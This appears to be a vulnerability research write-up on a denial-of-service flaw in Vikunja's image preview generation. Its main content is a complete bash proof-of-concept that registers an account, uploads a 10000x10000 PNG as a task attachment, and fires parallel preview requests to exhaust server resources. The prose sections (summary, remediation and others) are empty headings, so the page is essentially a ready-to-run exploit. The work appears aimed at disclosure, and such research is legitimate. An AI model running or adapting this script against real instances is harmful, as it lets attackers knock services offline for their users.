Vikunja Zero Day Research


DoS via Image Preview Generation

Summary

Preconditions

How It Works

Run The POC

#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${BASE_URL:-http://localhost:8080}"
USERNAME="${USERNAME:-dosuser}"
EMAIL="${EMAIL:-dosuser@example.com}"
PASSWORD="${PASSWORD:-StrongPass123!}"
PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}"
TASK_TITLE="${TASK_TITLE:-DoS preview test}"
OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}"

mkdir -p "$OUT_DIR"

echo "[+] Checking instance info"
curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null
if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then
  echo "[!] Task attachments disabled"
  exit 1
fi

echo "[+] Registering user (may already exist)"
curl -sS -X POST "$BASE_URL/api/v1/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \
  | tee "$OUT_DIR/register.json" >/dev/null || true

echo "[+] Logging in"
curl -sS -X POST "$BASE_URL/api/v1/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \
  | tee "$OUT_DIR/login.json" >/dev/null
TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")"
if [ -z "$TOKEN" ]; then
  echo "[!] Failed to get token"
  exit 1
fi

echo "[+] Creating project"
curl -sS -X PUT "$BASE_URL/api/v1/projects" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$PROJECT_TITLE"'"}' \
  | tee "$OUT_DIR/project.json" >/dev/null
PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/project.json")"
if [ -z "$PROJECT_ID" ]; then
  echo "[!] Failed to get project id"
  exit 1
fi

echo "[+] Creating task"
curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"title":"'"$TASK_TITLE"'"}' \
  | tee "$OUT_DIR/task.json" >/dev/null
TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/task.json")"
if [ -z "$TASK_ID" ]; then
  echo "[!] Failed to get task id"
  exit 1
fi

echo "[+] Generating 10000x10000 PNG payload"
python3 - <<'PY'
from PIL import Image
img = Image.new('RGB', (10000,10000), color=(0,0,0))
img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)
PY
file "$OUT_DIR/huge.png" || true
ls -lh "$OUT_DIR/huge.png" || true

echo "[+] Uploading attachment"
curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \
  -H "Authorization: Bearer $TOKEN" \
  -F "files=@$OUT_DIR/huge.png" \
  | tee "$OUT_DIR/attach.json" >/dev/null
ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUT_DIR/attach.json")"
if [ -z "$ATTACHMENT_ID" ]; then
  echo "[!] Failed to get attachment id"
  exit 1
fi

echo "[+] Requesting preview (xl)"
/usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \
  "$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \
  -H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt"
du -h "$OUT_DIR/preview_xl.png" || true
file "$OUT_DIR/preview_xl.png" || true
echo "[+] Timing and memory (from /usr/bin/time):"
cat "$OUT_DIR/time_xl.txt" || true

echo "[+] Parallel preview requests (cache warm) x10"
seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \
  '$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \
  -H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null
echo "[+] Done. Outputs in $OUT_DIR"

Steps

  1. Ensure the API is running on http://localhost:8080.
  2. Execute: 
    bash pocs/image-preview-dos/poc.sh
  3. Outputs of interest:
    • /tmp/vikunja-poc-dos/time_xl.txt: /usr/bin/time -l timing and memory for the preview request.
    • /tmp/vikunja-poc-dos/parallel_times.txt: 10 parallel preview times with cache warmed.
    • /tmp/vikunja-poc-dos/preview_xl.png: Generated 800×800 preview.

Environment Overrides

Expected Results

Remediation

Notes